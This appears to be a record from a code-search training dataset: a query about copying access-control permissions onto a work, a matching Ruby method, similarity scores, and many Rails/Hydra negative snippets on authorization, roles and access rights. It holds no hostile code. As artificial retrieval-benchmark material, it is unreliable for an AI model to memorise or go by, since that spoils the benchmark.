"def index\n if user_signed_in?\n @workout_sets = WorkoutSet.includes(:type).page(params[:page]).per(12).where(type: Type.where(name:\"Set\").take.id).where.not(id: current_user.workout_sets.order(id: :desc).includes(:type).each {|i| i}) rescue nil\n else\n @workout_sets = WorkoutSet.includes(:type).where(type: Type.where(name:\"Set\").take.id).order(id: :desc).page(params[:page]).per(12) rescue nil\n end\n end",
"def mcget_templates\n # setup_mcapi.folders.list(\"template\")\n setup_mcapi.templates.list({user: true},{include_drag_and_drop: true})\n end",
"def list_firewall_rules project:\n client = ::Google::Cloud::Compute::V1::Firewalls::Rest::Client.new\n firewalls = client.list project: project\n\n firewall_list = []\n firewalls.each do |firewall|\n puts \" - #{firewall.name}: #{firewall.description}\"\n firewall_list << firewall\n end\n\n firewall_list\nend",
"def index\n @project_restrictions = ProjectRestriction.all\n end",
"def visible_works_count\n if User.current_user && User.current_user.kind_of?(Admin)\n self.works.count(:all,\n :conditions => {:posted => true})\n elsif User.current_user.is_a? User\n self.works.visible_to_user(User.current_user.id).size\n else\n self.works.count(:all,\n :conditions => {:posted => true, :restricted => false, :hidden_by_admin => false})\n end\n end",
"def supported_controls\n\t\treturn self.supported_control_oids.collect {|oid| CONTROL_NAMES[oid] || oid }\n\tend",
"def get_available_pnics\n pnics_in_use = []\n pnics_available = []\n\n # Get pnics in use in standard switches\n @item.config.network.vswitch.each do |vs|\n vs.pnic.each do |pnic|\n pnic.slice!(\"key-vim.host.PhysicalNic-\")\n pnics_in_use << pnic\n end\n end\n\n # Get pnics in host\n self['config.network'].pnic.each do |pnic|\n pnics_available << pnic.device if !pnics_in_use.include?(pnic.device)\n end\n\n return pnics_available\n end",
"def anonymous_safelists; end",
"def index\n @softwarerechtes = Softwarerechte.all\n end",
"def index\n @tccapis = Tccapi.all\n end",
"def mechanics\n Mechanic.all.select{|mechanic|mechanic.specialty == self.classification}\n end",
"def fetch_temp_flags(is_admin, params, session)\n return Set.new unless is_admin\n\n from_session = Maybe(session)[:feature_flags].or_else(Set.new)\n from_params = Maybe(params)[:enable_feature].map { |feature| [feature.to_sym] }.to_set.or_else(Set.new)\n\n from_session.union(from_params)\n end",
"def index\n @it_systems = ItSystem.all\n end",
"def index\n authorize @organization, :show_templates?\n @survey_templates = @organization.survey_templates\n end",
"def quick_access_details\n @@qad ||= list.map{|app| load(app).quick_access_details }\n end",
"def student_work_form_tabs(persisted: false)\n persisted ? %w[metadata files comments] : %w[metadata files]\n end",
"def interactable_units\n Units.constants.select do |klass|\n Units.const_get(klass).included_modules.include?(Interactable)\n end\nend",
"def show_only_managed_works_for_non_admins(solr_parameters)\n return if current_ability.admin?\n solr_parameters[:fq] ||= []\n solr_parameters[:fq] << '-' + ActiveFedora::SolrQueryBuilder.construct_query_for_rel(depositor: current_user_key)\n end",
"def get_supported_games\r\n return @supported_game_map\r\n end",
"def get_sets\n result = []\n (0..(TAILLE_TAPIS + TAILLE_EXT*self.etendu - 3)).each do |a|\n ((a + 1)..(TAILLE_TAPIS + TAILLE_EXT*self.etendu - 2)).each do |b|\n ((b + 1)..(TAILLE_TAPIS + TAILLE_EXT*self.etendu - 1)).each do |c|\n if (is_a_set?([self.talon[self.tapis[a]], self.talon[self.tapis[b]], self.talon[self.tapis[c]]]))[0]\n result << [a, b, c]\n end\n end\n end\n end\n result\n end"
] |
[
"0.5908111",
"0.5455268",
"0.52878094",
"0.5179741",
"0.51601195",
"0.506519",
"0.49479342",
"0.49426058",
"0.49189162",
"0.49071422",
"0.49010187",
"0.48997656",
"0.48822734",
"0.48709238",
"0.48695105",
"0.4839005",
"0.48134086",
"0.4812925",
"0.4812481",
"0.48121077",
"0.47818655",
"0.47704682",
"0.4763558",
"0.47571462",
"0.47431478",
"0.47431478",
"0.47374532",
"0.47221112",
"0.47161365",
"0.470973",
"0.470973",
"0.47056925",
"0.47051594",
"0.4696559",
"0.46742398",
"0.467099",
"0.46705568",
"0.4663926",
"0.46634614",
"0.4660187",
"0.46523523",
"0.46519604",
"0.465091",
"0.46454343",
"0.4638309",
"0.46350446",
"0.46336818",
"0.46319312",
"0.46261635",
"0.4619971",
"0.46164188",
"0.46153903",
"0.45979345",
"0.45969856",
"0.4595297",
"0.4585751",
"0.4581571",
"0.45742807",
"0.45733008",
"0.45724156",
"0.45584038",
"0.4557679",
"0.45535722",
"0.45529723",
"0.4552936",
"0.4551761",
"0.45506686",
"0.45485044",
"0.4537156",
"0.45362678",
"0.45358443",
"0.45356035",
"0.4529808",
"0.45296562",
"0.45268348",
"0.45268348",
"0.45250818",
"0.4521134",
"0.45165336",
"0.45162985",
"0.45149058",
"0.4514796",
"0.45102063",
"0.4509434",
"0.45089775",
"0.45084184",
"0.45069999",
"0.45066947",
"0.45057777",
"0.4504098",
"0.4502467",
"0.45004994",
"0.4500024",
"0.44979373",
"0.4496758",
"0.44962096",
"0.44948086",
"0.44939056",
"0.4493378",
"0.44901103"
] |
0.5370319
|
2
|
Mutate the work. Make new permission based on access control
|
def make_equivalent_permissions(object, access_controls)
access_controls.each{ |access_ctl| object.permissions.build access_ctl.to_hash }
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def af_perform(work)\n attribute_map = work.permissions.map(&:to_hash)\n work.file_sets.each do |file|\n # copy and removed access to the new access with the delete flag\n file.permissions.map(&:to_hash).each do |perm|\n unless attribute_map.include?(perm)\n perm[:_destroy] = true\n attribute_map << perm\n end\n end\n # apply the new and deleted attributes\n file.permissions_attributes = attribute_map\n file.save!\n end\n end",
"def update_access_controls!\n update!(edit_users: permission_template.agent_ids_for(access: 'manage', agent_type: 'user'),\n edit_groups: permission_template.agent_ids_for(access: 'manage', agent_type: 'group'))\n end",
"def build_permissions(perms, other)\n perms.permits! :read\n perms.permits! :write if self == other\n end",
"def permissions_policy(&block); end",
"def build_permissions(perms, other)\n perms.permits! :read\n\n if self == other\n perms.permits! :write\n elsif other.admin?\n perms.permits! :write\n end\n end",
"def valkyrie_perform(work)\n work_acl = Hyrax::AccessControlList.new(resource: work)\n\n PersistHelper.file_sets_for(work).each do |file_set|\n Hyrax::AccessControlList\n .copy_permissions(source: work_acl, target: file_set)\n end\n end",
"def valkyrie_perform(work)\n work_acl = Hyrax::AccessControlList.new(resource: work)\n\n file_sets_for(work).each do |file_set|\n Hyrax::AccessControlList\n .copy_permissions(source: work_acl, target: file_set)\n end\n end",
"def custom_permissions\n #Collection Manager Permissions\n #Higher power than edit user...[Dont want edit users to be able to DELETE a COLLECTION??, (Delete a DO?)]\n if current_user.applicable_policy?(SETTING_POLICY_COLLECTION_MANAGER)\n #Marked as being able to :manage_collection\n can :manage_collection_flag, :all\n can :create, [DRI::Batch, DRI::GenericFile]\n end\n\n\n #Admin Permissions\n if current_user.applicable_policy?(SETTING_POLICY_ADMIN)\n can :admin_flag, :all\n #Disabled for now..\n can :manage, :all\n end\n\n #Create_do flag (alias for :edit collection)\n can :create_do, String do |pid|\n test_create(pid)\n end\n\n can :create_do, DRI::Batch do |collection|\n test_create(collection)\n end\n end",
"def may(*args)\n p = permissions.for(args.pop).find_or_initialize_by_role_id(id) # need a #find_or_initialize_by_already_specified_scope\n p.mask += Authorize::Permission::Mask[*args]\n p.save\n p.mask.complete\n end",
"def build_permissions!\n #Deployment keys will keep the permissions even with non active projects\n @rewind_deploy = get_deploy_identifier(@rewind_deploy_keys)\n @read_deploy = get_deploy_identifier(@read_deploy_keys)\n\n if @project.active?\n @rewind = get_identifier(@rewind_users)\n @write = get_identifier(@write_users)\n @read = get_identifier(@read_users)\n active_project_gitolite_access\n else\n all_read = @rewind_users + @write_users + @read_users\n @read = get_identifier(all_read)\n @read << 'REDMINE_CLOSED_PROJECT' if @read.empty? && @read_deploy.empty?\n end\n\n convert_to_gitolite_format\n end",
"def admin_grant_permissions\n @user = User.includes(:perms).find(params[:id])\n authorize @user\n user_perms = current_user.perms\n @perms = user_perms & [Perm.grant_permissions, Perm.modify_templates, Perm.modify_guidance, Perm.use_api, Perm.change_org_details]\n end",
"def adjust_permissions # :norobots:\n pass_query_params\n if @description = find_description(params[:id].to_s)\n done = false\n\n # Doesn't have permission.\n if !@description.is_admin?(@user) and !is_in_admin_mode?\n flash_error(:runtime_description_adjust_permissions_denied.t)\n done = true\n\n # These types have fixed permissions.\n elsif [:public, :foreign].include?(@description.source_type) and\n !is_in_admin_mode?\n flash_error(:runtime_description_permissions_fixed.t)\n done = true\n\n # GET method.\n elsif request.method != :post\n @data = nil\n\n # POST method.\n else\n old_readers = @description.reader_groups.sort_by(&:id)\n old_writers = @description.writer_groups.sort_by(&:id)\n old_admins = @description.admin_groups.sort_by(&:id)\n\n # Update permissions on list of users and groups at the top.\n update_groups(@description, :readers, params[:group_reader])\n update_groups(@description, :writers, params[:group_writer])\n update_groups(@description, :admins, params[:group_admin])\n\n # Look up write-ins and adjust their permissions.\n @data = [nil]\n done = true\n for n in params[:writein_name].keys.sort\n name = params[:writein_name][n].to_s rescue ''\n reader = params[:writein_reader][n] == '1' rescue false\n writer = params[:writein_writer][n] == '1' rescue false\n admin = params[:writein_admin][n] == '1' rescue false\n if !name.blank? and\n !update_writein(@description, name, reader, writer, admin)\n @data << { :name => name, :reader => reader, :writer => writer,\n :admin => admin }\n flash_error(:runtime_description_user_not_found.t(:name => name))\n done = false\n end\n end\n\n # Were any changes made?\n new_readers = @description.reader_groups.sort_by(&:id)\n new_writers = @description.writer_groups.sort_by(&:id)\n new_admins = @description.admin_groups.sort_by(&:id)\n if (old_readers != new_readers) or\n (old_writers != new_writers) or\n (old_admins != new_admins)\n\n # Give feedback to assure user that their changes were made.\n flash_description_changes(old_readers, new_readers, :reader)\n flash_description_changes(old_writers, new_writers, :writer)\n flash_description_changes(old_admins, new_admins, :admin)\n\n # Keep the \"public\" flag updated.\n public = @description.reader_groups.include?(UserGroup.all_users)\n if @description.public != public\n @description.public = public\n @description.save\n end\n\n # Log change with Transaction.\n Transaction.send(\"put_#{@description.type_tag}\",\n :id => @description,\n :set_readers => @description.reader_groups,\n :set_writers => @description.writer_groups,\n :set_admins => @description.admin_groups\n )\n\n @description.parent.log(:log_changed_permissions,\n :user => @user.login, :touch => false,\n :name => @description.unique_partial_format_name)\n else\n flash_notice(:runtime_description_adjust_permissions_no_changes.t)\n end\n end\n\n if done\n redirect_to(:action => @description.show_action,\n :id => @description.id, :params => query_params)\n\n # Gather list of all the groups, authors, editors and owner.\n # If the user wants more they can write them in.\n else\n @groups = (\n [UserGroup.all_users] +\n @description.admin_groups.sort_by(&:name) +\n @description.writer_groups.sort_by(&:name) +\n @description.reader_groups.sort_by(&:name) +\n [UserGroup.reviewers]\n ) + (\n [@description.user] +\n @description.authors.sort_by(&:login) +\n @description.editors.sort_by(&:login) +\n [@user]\n ).map {|user| UserGroup.one_user(user)}\n @groups.uniq!\n @groups = @groups.reject {|g| g.name.match(/^user \\d+$/)} +\n @groups.select {|g| g.name.match(/^user \\d+$/)}\n end\n end\n end",
"def update_permissions\n self.view_permission.update_attribute(:name, name + \" view\")\n self.signup_permission.update_attribute(:name, name + \" signup\")\n self.admin_permission.update_attribute(:name, name + \" admin\")\n end",
"def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n\n # TODO: This area looks like it needs to be refactored.\n\n if current_user.admin?\n editor_abilities\n upload_abilities\n publish_abilities\n roles_abilities\n hard_delete_abilities\n import_admin_abilities\n user_abilities\n group_abilities\n can [:create, :destroy, :update], FeaturedWork\n can [:manage], Hydra::Admin::Collection\n\n can :create, TinymceAsset\n can [:create, :update], ContentBlock\n can :read, ContentBlock\n can :characterize, GenericFile\n end\n\n\n if current_user.manager?\n upload_abilities\n publish_abilities\n roles_abilities\n import_user_abilities\n can [:manage], Hydra::Admin::Collection do |admin_set|\n # Can manage admin sets within their assigned unit.\n current_user.osul_groups.include? admin_set.unit_group\n end\n can [:manage], Osul::Group do |group|\n # Can manage the groups the user is in or the groups of the units a user is assigned to.\n current_user.osul_groups.include? group or current_user.osul_groups.include? group.unit\n end\n can [:create], Osul::Group\n can [:create, :destroy, :update], FeaturedWork\n end\n\n if current_user.data_entry?\n upload_abilities\n publish_abilities\n no_admin_set_abilities\n end\n\n if current_user.data_entry_student?\n upload_abilities\n no_admin_set_abilities\n end\n\n unless current_user.public?\n can :view_full, GenericFile\n end\n\n if current_user.role.nil?\n no_file_abilities\n no_admin_set_abilities\n end\n end",
"def state_permission(permission); end",
"def set_permission\r\n\r\n render :nothing => true\r\n return if params[:access_id].blank? || params[:set].blank?\r\n @access = Access.find(params[:access_id])\r\n return if @access.nil?\r\n @set = params[:set] == 'true'\r\n if params[:user_id]\r\n @user = User.find(params[:user_id])\r\n h = {:user_id => @user.id, :access_id => @access.id}\r\n if params[:prop]\r\n @ua = UserAccess.first(:conditions => h) || UserAccess.create(h)\r\n @ua.read = @set if params[:prop] == 'read'\r\n @ua.write = @set if params[:prop] == 'write'\r\n @ua.save\r\n else # aktion\r\n if @set\r\n UserAccess.create(h) unless UserAccess.exists?(h)\r\n else\r\n UserAccess.delete_all(h) if UserAccess.exists?(h)\r\n end\r\n end\r\n end\r\n if params[:profile_id]\r\n @profile = Profile.find(params[:profile_id])\r\n h = {:profile_id => @profile.id, :access_id => @access.id}\r\n if params[:prop]\r\n @pa = ProfileAccess.first(:conditions => h) || ProfileAccess.create(h)\r\n @pa.read = @set if params[:prop] == 'read'\r\n @pa.write = @set if params[:prop] == 'write'\r\n @pa.save\r\n else # aktion\r\n if @set\r\n ProfileAccess.create(h) unless ProfileAccess.exists?(h)\r\n else\r\n ProfileAccess.delete_all(h) if ProfileAccess.exists?(h)\r\n end\r\n end\r\n end\r\n end",
"def custom_permissions\n can [:file_status, :stage, :unstage], FileSet\n\n if current_user.ingest_from_external_sources?\n end\n\n if current_user.manage_users?\n can [:show, :add_user, :remove_user, :index], Role\n end\n\n if current_user.manage_roles?\n can [:create, :show, :index, :edit, :update, :destroy], Role\n end\n\n if current_user.run_fixity_checks?\n can [:fixity], FileSet\n end\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n end",
"def assign_permission\n company_admin,*company_admin_all = Role.company_admin.reorder(\"id ASC\")\n functions = company_admin.try(:function_ids) \n if company_admin_all.any?\n company_admin_all.each do |c_admin|\n c_admin.function_ids = functions\n end\n end\n end",
"def modify_description_permissions(desc, args)\n old_read = desc.public_was\n new_read = desc.public\n old_write = desc.public_write_was\n new_write = (desc.public_write == '1')\n\n # Ensure these special types don't change,\n case desc.source_type\n when :public\n flash_warning(:runtime_description_public_read_wrong.t) if !new_read\n flash_warning(:runtime_description_public_write_wrong.t) if !new_write\n new_read = true\n new_write = true\n when :foreign\n flash_warning(:runtime_description_foreign_read_wrong.t) if !new_read\n flash_warning(:runtime_description_foreign_write_wrong.t) if new_write\n new_read = true\n new_write = false\n end\n\n new_readers = []\n new_writers = []\n\n # \"Public\" means \"all users\" group.\n if !old_read && new_read\n new_readers << UserGroup.all_users\n desc.public = true\n end\n if !old_write && new_write\n new_writers << UserGroup.all_users\n end\n\n # \"Not Public\" means only the owner...\n if old_read && !new_read\n new_readers << UserGroup.one_user(desc.user)\n end\n if old_write && !new_write\n new_writers << UserGroup.one_user(desc.user)\n end\n\n # ...except in the case of projects.\n if (desc.source_type == :project) and\n (project = desc.project)\n if old_read && !new_read\n # Add project members to readers.\n new_readers << project.user_group\n end\n if old_write && !new_write\n # Add project admins to writers.\n new_writers << project.admin_group\n end\n end\n\n # Make changes official.\n if new_readers.any?\n args[:set_reader_groups] = desc.reader_groups = new_readers\n end\n if new_writers.any?\n args[:set_writer_groups] = desc.writer_groups = new_writers\n end\n end",
"def evaluate_permission(permission, *args)\n # object; Event, Discount, etc\n o = args[0]\n # default to allow\n result = true\n role = get_role_of(o)\n\n\n # evaluate procs\n if (proc = PermissionUtilities.has_procs?(permission))\n result &= proc.call(o, self)\n end\n\n # Here is where the addition of adding collaborations may reside\n\n # finally, determine if the user (self) can do the requested action\n result &= allowed_to_perform?(permission, role)\n\n # so we don't need to do everything again\n cache.set_for_role(\n name: permission,\n value: result,\n role: role\n )\n\n result\n end",
"def prepare_permissions\n if current_ability.admin?\n else\n # Need to add admin group to current_ability\n # or presenter will not be accessible.\n current_ability.user_groups << \"admin\"\n if presenter.tombstone.present? \n else\n current_ability.user_groups.delete(\"admin\")\n end\n end\n end",
"def update!(**args)\n @permission = args[:permission] if args.key?(:permission)\n end",
"def update!(**args)\n @permission = args[:permission] if args.key?(:permission)\n end",
"def handle_grant_permission\n return if cbac_permission_exists?\n\n permission = Cbac::Permission.new\n permission.privilege_set = privilege_set\n\n if pristine_role.role_type == PristineRole.ROLE_TYPES[:context]\n permission.context_role = pristine_role.name\n else\n generic_role = Cbac::GenericRole.where(name: pristine_role.name).first\n permission.generic_role = generic_role || Cbac::GenericRole.where(name: pristine_role.name, remarks: \"Autogenerated by Cbac loading / upgrade system\").create\n end\n\n register_change if permission.save\n permission\n end",
"def authorized_to_modify_task?\n current_user.site_admin? || can_view_all_manuscript_managers_for_journal? || can_view_manuscript_manager_for_paper? ||\n allowed_manuscript_information_task? || metadata_task_collaborator? || allowed_reviewer_task? || task_participant?\n end",
"def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n\n # Limits creating new objects to a specific group\n\n if user_groups.include? ['all_project_writers']\n can [:create], PulStore::Base\n can [:create], PulStore::Lae::Box\n can [:create], PulStore::Lae::Folder\n can [:create], Pulstore::Lae::HardDrive\n end\n\n if user_groups.include? ['lae_project_writers']\n can [:create], PulStore::Lae::Box\n can [:create], PulStore::Lae::Folder\n can [:create], Pulstore::Lae::HardDrive\n end \n\n if user_groups.include? ['all_project_writers']\n can [:destroy], PulStore::Base\n end\n\n if user_groups.include? ['lae_project_readers', 'all_project_readers' ]\n can [:show], PulStore::Base\n end\n end",
"def copy_access\n authorize! :edit, curation_concern\n CopyPermissionsJob.perform_later(curation_concern)\n redirect_to [main_app, curation_concern], notice: I18n.t('sufia.upload.change_access_flash_message')\n end",
"def migrate_permissions_for(object)\n # Find any access controls for this work. The must be sufia6F style in order to not show up on the Work.\n legacy_access_controls = access_controls_for object\n puts \"#{legacy_access_controls.count} AccessControls for #{object.class}: #{object.id}\"\n puts \"#{object.permissions}\"\n\n # Create equivalent access controls\n self.class.make_equivalent_permissions( object, legacy_access_controls )\n puts \"Created equivalent permissions.\"\n puts \"#{object.permissions}\"\n\n # Destroy legacy_access_controls\n if object.save\n puts \"Able to save #{object.class} with new permissions. Destroying old access controls.\"\n legacy_access_controls.each{ |ac| ac.destroy }\n else\n puts \"Unable to save #{object.class}.\"\n end\n end",
"def modify_description_permissions\n old_read = @description.public_was\n new_read = @description.public\n old_write = @description.public_write_was\n new_write = (@description.public_write == \"1\")\n\n # Ensure these special types don't change,\n case @description.source_type\n when \"public\"\n flash_warning(:runtime_description_public_read_wrong.t) unless new_read\n unless new_write\n flash_warning(:runtime_description_public_write_wrong.t)\n end\n new_read = true\n new_write = true\n when \"foreign\"\n flash_warning(:runtime_description_foreign_read_wrong.t) unless new_read\n flash_warning(:runtime_description_foreign_write_wrong.t) if new_write\n new_read = true\n new_write = false\n end\n\n new_readers = []\n new_writers = []\n\n # \"Public\" means \"all users\" group.\n if !old_read && new_read\n new_readers << UserGroup.all_users\n @description.public = true\n end\n new_writers << UserGroup.all_users if !old_write && new_write\n\n # \"Not Public\" means only the owner...\n if old_read && !new_read\n new_readers << UserGroup.one_user(@description.user)\n end\n if old_write && !new_write\n new_writers << UserGroup.one_user(@description.user)\n end\n\n # ...except in the case of projects.\n if (@description.source_type == \"project\") &&\n (project = @description.project)\n if old_read && !new_read\n # Add project members to readers.\n new_readers << project.user_group\n end\n if old_write && !new_write\n # Add project admins to writers.\n new_writers << project.admin_group\n end\n end\n end",
"def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n if current_user.admin?\n can [:create, :show, :add_user, :remove_user, :index, :edit, :update, :destroy], Role\n # Admin user can create works of all work types\n can :create, curation_concerns_models\n end\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n end",
"def access\n if @ajar == true || if @unlocked == false\n raise ArgumentError.new(\"Further permissions required\")\n elsif @ajar == false && if @unlocked == true\n puts \"your wish is granted\"\n return @ajar = true\n end\n end\n end\n end",
"def custom_permissions\n if current_user.admin?\n can :manage, :all\n end\n end",
"def create_permissions\n # initial_step is a controller action on some resources for creation...\n if user_groups.include?(HYHULL_USER_GROUPS[:content_creator]) || \n user_groups.include?(HYHULL_USER_GROUPS[:content_access_team]) || \n @current_user.admin?\n can [:initial_step, :create], :all\n end\n\n end",
"def permissions = {}",
"def __set_synchromesh_permission_granted(old_rel, new_rel, obj, acting_user, args = [], &block)\n saved_acting_user = obj.acting_user\n obj.acting_user = acting_user\n new_rel.__synchromesh_permission_granted =\n obj.instance_exec(*args, &block) || (old_rel && old_rel.try(:__synchromesh_permission_granted))\n new_rel\n ensure\n obj.acting_user = saved_acting_user\n end",
"def accountant_allow_edit(permission)\n return accountant_right(permission) == 2\n end",
"def do_acl_changes\n if access_controls.requires_changes?\n converge_by(access_controls.describe_changes) do\n access_controls.set_all\n end\n end\n end",
"def do_acl_changes\n if access_controls.requires_changes?\n converge_by(access_controls.describe_changes) do\n access_controls.set_all\n end\n end\n end",
"def adjust_restricted\n\t\tunless self.restricted == !self.works.collect(&:restricted).include?(false)\n\t\t self.toggle!(:restricted)\n\t\tend\n\tend",
"def custom_permissions\n discover_permissions\n export_sets_permissions\n batches_permissions\n preservation_events_permissions\n end",
"def manager_permissions\n can :manage_collection, String do |pid|\n Rails.logger.debug(\"[MANPERM] Checking from STRING\")\n test_manager(pid)\n end\n\n can :manage_collection, DRI::Batch do |obj|\n Rails.logger.debug(\"[MANPERM] Checking from Object\")\n test_manager(obj.id)\n end\n\n can :manage_collection, SolrDocument do |obj|\n Rails.logger.debug(\"[MANPERM] Checking from SolrDoc\")\n cache.put(obj.id, obj)\n test_manager(obj.id)\n end\n\n can :manage, String do |pid|\n Rails.logger.debug(\"[MANPERM] Checking from STRING\")\n test_manager(pid)\n end\n\n can :manage, DRI::Batch do |obj|\n Rails.logger.debug(\"[MANPERM] Checking from Object\")\n test_manager(obj.id)\n end\n\n can :manage, SolrDocument do |obj|\n Rails.logger.debug(\"[MANPERM] Checking from SolrDoc\")\n cache.put(obj.id, obj)\n test_manager(obj.id)\n end\n end",
"def smart?; self.permission_level = 2; end",
"def AccessRights=(arg0)",
"def create_access_check\n permission_check('create')\n end",
"def create_access_check\n permission_check('create')\n end",
"def create_access_check\n permission_check('create')\n end",
"def custom_permissions\n alias_action :show, :manifest, to: :read\n alias_action :color_pdf, :pdf, :edit, :browse_everything_files, :structure, :file_manager, to: :modify\n roles.each do |role|\n send \"#{role}_permissions\" if current_user.send \"#{role}?\"\n end\n end",
"def custom_permissions\n alias_action :show, :manifest, to: :read\n alias_action :color_pdf, :pdf, :edit, :browse_everything_files, :structure, :file_manager, to: :modify\n roles.each do |role|\n send \"#{role}_permissions\" if current_user.send \"#{role}?\"\n end\n end",
"def custom_permissions\n if current_user.admin?\n can [:create, :show, :add_user, :remove_user, :index, :edit, :update, :destroy], Role\n can [:create], Collection\n can [:discover], Hydra::AccessControls::Embargo\n can [:discover], Hydra::AccessControls::Lease\n can [:create], [ CurationConcerns.config.curation_concerns ]\n can [:destroy], ActiveFedora::Base\n can [:permissions], [ CurationConcerns.config.curation_concerns ]\n end\n\n # Limits deleting objects to a the admin user\n #\n #if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n #end\n\n if current_user.has_role?('collection.manager')\n # can [:create, :show, :index, :edit, :update, :destroy], Collection\n can [:create], Collection\n end\n\n if current_user.has_role?('collection.depositor') or current_user.has_group_role?('collection.depositor')\n # can [:create, :show, :index, :edit, :update, :destroy], [ CurationConcerns.configuration.curation_concerns ]\n can [:create], [ CurationConcerns.config.curation_concerns ]\n # can [:show], Collection\n end\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n end",
"def update?\n @current_user.permission('Bid', :clerk)\n end",
"def authorize_planner\n\n can [:read], Organization do |organization|\n curr_account == organization.account\n end\n can [:adopt, :search], Employee\n can [:read], Employee do |employee|\n employee.organizations.include?(curr_organization)\n end\n can [:update, :create], Employee do |employee|\n (\n !employee.owner? || curr_employee == employee\n ) &&\n # organization_id is a virtual attribute of employee and is used to\n # create the membership for the current organization after create of the\n # employee. So the following line makes sure that memberships for orgs\n # of other account can not be created.\n (\n employee.organization_id.nil? ||\n employee.organization_id.to_i == curr_organization.id\n ) &&\n (\n employee.account.nil? ||\n curr_account == employee.account\n )\n end\n can :update_role, Employee do |employee|\n curr_employee != employee && # no one can update her/his own role\n curr_organization.employees.include?(employee)\n end\n can :manage, Plan do |plan|\n curr_organization == plan.organization\n end\n can :manage, Scheduling do |scheduling|\n curr_organization == scheduling.plan.organization &&\n ( !scheduling.represents_unavailability? || self_planning?(scheduling) )\n end\n can :manage, Shift do |shift|\n curr_organization == shift.plan_template.organization\n end\n can :manage, CopyWeek do |copy_week|\n curr_organization == copy_week.plan.organization\n end\n can :manage, ApplyPlanTemplate do |apply_plan_template|\n curr_organization == apply_plan_template.plan.organization\n end\n can :manage, Team do |team|\n curr_organization == team.organization\n end\n can :manage, Qualification do |qualification|\n curr_account == qualification.account\n end\n can :manage, PlanTemplate do |plan_template|\n curr_organization == plan_template.organization\n end\n can :manage, TeamMerge do |team_merge|\n (team_merge.team_id.blank? || curr_organization == team_merge.team.try(:organization)) &&\n (team_merge.other_team_id.blank? || curr_organization == team_merge.other_team.try(:organization)) &&\n (team_merge.new_team_id.blank? || curr_organization == team_merge.new_team.try(:organization))\n end\n can [:read, :create], Post do |post|\n curr_organization == post.blog.organization\n end\n can [:read, :create], Comment do |comment|\n commentable = comment.commentable\n if commentable.respond_to?(:blog) # comment on a post\n curr_organization == commentable.blog.organization\n elsif commentable.respond_to?(:plan) # comment on a scheduling\n curr_organization == commentable.plan.organization\n else\n false\n end\n end\n can :manage, Invitation do |invitation|\n curr_account == invitation.employee.account &&\n curr_organization == invitation.organization\n end\n can :manage, Milestone do |milestone|\n curr_organization == milestone.plan.organization\n end\n can :manage, Task do |task|\n curr_organization == task.milestone.plan.organization\n end\n\n can :show, Conflict do |conflict|\n curr_organization == conflict.provoker.plan.organization\n end\n\n # For reports we only check the base on which schedulings will be found. For\n # example we do not need to test if the plan_ids submitted belong to the\n # base.\n # Please see the report model for how records are fetched. The base is\n # always the account and one or more organizations within the account.\n # If the user would submit foreign plan_ids for example, this will not do\n # any harm as the result simply will be empty.\n can :create, Report do |report|\n # A planner is only able to see a report within an organization.\n # The filter for organizations will no be shown on the report page of the\n # organization. Therefore the organization_ids of the report should only\n # include the id of the current organization.\n org_ids = report.organization_ids\n org_ids.size == 1 &&\n org_ids.first.to_i == curr_organization.id\n end\n\n authorize_owner_and_planner\n authorize_employee\n end",
"def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\nif current_user.admin?\n\t can [:create, :show, :add_user, :remove_user, :index], Role\n\t end\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n\n\n\n end",
"def set_work\n @work = Work.find(params[:id])\n \tauthorize @work\n end",
"def custom_permissions\n if user_groups.include?(\"admin\")\n can :manage, :all\n end\n end",
"def edit_permissions\n can [:edit, :update], String do |pid|\n Rails.logger.debug(\"[EDITPERM] Checking from STRING\")\n test_edit(pid)\n end\n\n can [:edit, :update, :destroy], DRI::Batch do |obj|\n Rails.logger.debug(\"[EDITPERM] Checking from Batch\")\n test_edit(obj.id)\n end\n\n can [:edit, :update, :destroy], DRI::GenericFile do |obj|\n Rails.logger.debug(\"[EDITPERM] Checking from GenericFile\")\n test_edit(obj.id)\n end\n\n can :edit, SolrDocument do |obj|\n Rails.logger.debug(\"[EDITPERM] Checking from SOLRDOC\")\n cache.put(obj.id, obj)\n test_edit(obj.id)\n end\n end",
"def set_public_access(*perms)\n perms.each do |perm_symbol|\n perm = find_permission_object(perm_symbol)\n if perm\n perm.set_as_public_access \n else\n msg = \"Permission not found: #{perm_symbol}\"\n raise Lockdown::InvalidRuleAssignment, msg\n end\n end\n end",
"def setable_permissions\n setable_permissions = Erp::AccessControl.permissions - Erp::AccessControl.public_permissions\n setable_permissions -= Erp::AccessControl.members_only_permissions if builtin == BUILTIN_NON_MEMBER\n setable_permissions -= Erp::AccessControl.loggedin_only_permissions if builtin == BUILTIN_ANONYMOUS\n setable_permissions\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
